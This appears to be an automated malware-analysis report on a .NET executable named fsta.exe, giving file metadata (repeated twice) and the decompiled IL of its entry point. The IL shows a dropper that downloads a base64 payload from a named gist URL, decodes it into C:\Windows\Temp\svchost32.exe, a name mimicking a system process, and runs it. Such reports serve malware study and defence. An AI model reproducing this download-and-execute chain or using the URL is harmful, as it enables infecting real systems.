Deep Malware Analysis of ff4acd55956277e6131a6cd67a737a0f | md5: ff4acd55956277e6131a6cd67a737a0f | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.18

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Symbol Obfuscation Score Very low

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	fsta.exe
Full Name	fsta.exe
EntryPoint	System.Int32 FstaGate::Main(System.String[])
Scope Name	fsta.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	fsta
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	21
Main Method	System.Int32 FstaGate::Main(System.String[])
Main IL Instruction Count	54
Main IL	nop <null> call System.Boolean FstaGate::HostGate() stloc.s V_5 ldloc.s V_5 brtrue.s IL_0012: nop nop <null> ldc.i4.0 <null> stloc.s V_4 br.s IL_0084: nop nop <null> call System.Void FstaGate::EmitDefenderCanary() nop <null> ldstr https://gist.githubusercontent.com/bquanman/cc8123c954bf49f358e31d0369f8f83b/raw/24bef59d143f27e031c6904bf612d5c930340d68/tepl.b64 ldstr C:\Windows\Temp\tepl.b64 call System.Void FstaGate::FetchEnvelope(System.String,System.String) nop <null> ldstr C:\Windows\Temp\tepl.b64 call System.Byte[] FstaGate::ReadEnvelope(System.String) stloc.0 <null> ldloc.0 <null> call System.Byte[] FstaGate::ReverseEnvelope(System.Byte[]) stloc.1 <null> ldloc.1 <null> call System.Byte[] FstaGate::CarveImage(System.Byte[]) stloc.2 <null> ldloc.2 <null> ldstr C:\Windows\Temp\svchost32.exe call System.Void FstaGate::WriteDrop(System.Byte[],System.String) nop <null> ldstr C:\Windows\Temp\svchost32.exe call System.Void FstaGate::StartDrop(System.String) nop <null> ldc.i4.0 <null> stloc.s V_4 leave.s IL_0084: nop stloc.3 <null> nop <null> call System.IO.TextWriter System.Console::get_Error() ldloc.3 <null> callvirt System.String System.Exception::get_Message() callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldc.i4.1 <null> stloc.s V_4 leave.s IL_0084: nop nop <null> ldstr C:\Windows\Temp\tepl.b64 call System.Void FstaGate::TryDelete(System.String) nop <null> nop <null> endfinally <null> nop <null> ldloc.s V_4 ret <null>
Module Name	fsta.exe
Full Name	fsta.exe
EntryPoint	System.Int32 FstaGate::Main(System.String[])
Scope Name	fsta.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	fsta
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	21
Main Method	System.Int32 FstaGate::Main(System.String[])
Main IL Instruction Count	54
Main IL	nop <null> call System.Boolean FstaGate::HostGate() stloc.s V_5 ldloc.s V_5 brtrue.s IL_0012: nop nop <null> ldc.i4.0 <null> stloc.s V_4 br.s IL_0084: nop nop <null> call System.Void FstaGate::EmitDefenderCanary() nop <null> ldstr https://gist.githubusercontent.com/bquanman/cc8123c954bf49f358e31d0369f8f83b/raw/24bef59d143f27e031c6904bf612d5c930340d68/tepl.b64 ldstr C:\Windows\Temp\tepl.b64 call System.Void FstaGate::FetchEnvelope(System.String,System.String) nop <null> ldstr C:\Windows\Temp\tepl.b64 call System.Byte[] FstaGate::ReadEnvelope(System.String) stloc.0 <null> ldloc.0 <null> call System.Byte[] FstaGate::ReverseEnvelope(System.Byte[]) stloc.1 <null> ldloc.1 <null> call System.Byte[] FstaGate::CarveImage(System.Byte[]) stloc.2 <null> ldloc.2 <null> ldstr C:\Windows\Temp\svchost32.exe call System.Void FstaGate::WriteDrop(System.Byte[],System.String) nop <null> ldstr C:\Windows\Temp\svchost32.exe call System.Void FstaGate::StartDrop(System.String) nop <null> ldc.i4.0 <null> stloc.s V_4 leave.s IL_0084: nop stloc.3 <null> nop <null> call System.IO.TextWriter System.Console::get_Error() ldloc.3 <null> callvirt System.String System.Exception::get_Message() callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldc.i4.1 <null> stloc.s V_4 leave.s IL_0084: nop nop <null> ldstr C:\Windows\Temp\tepl.b64 call System.Void FstaGate::TryDelete(System.String) nop <null> nop <null> endfinally <null> nop <null> ldloc.s V_4 ret <null>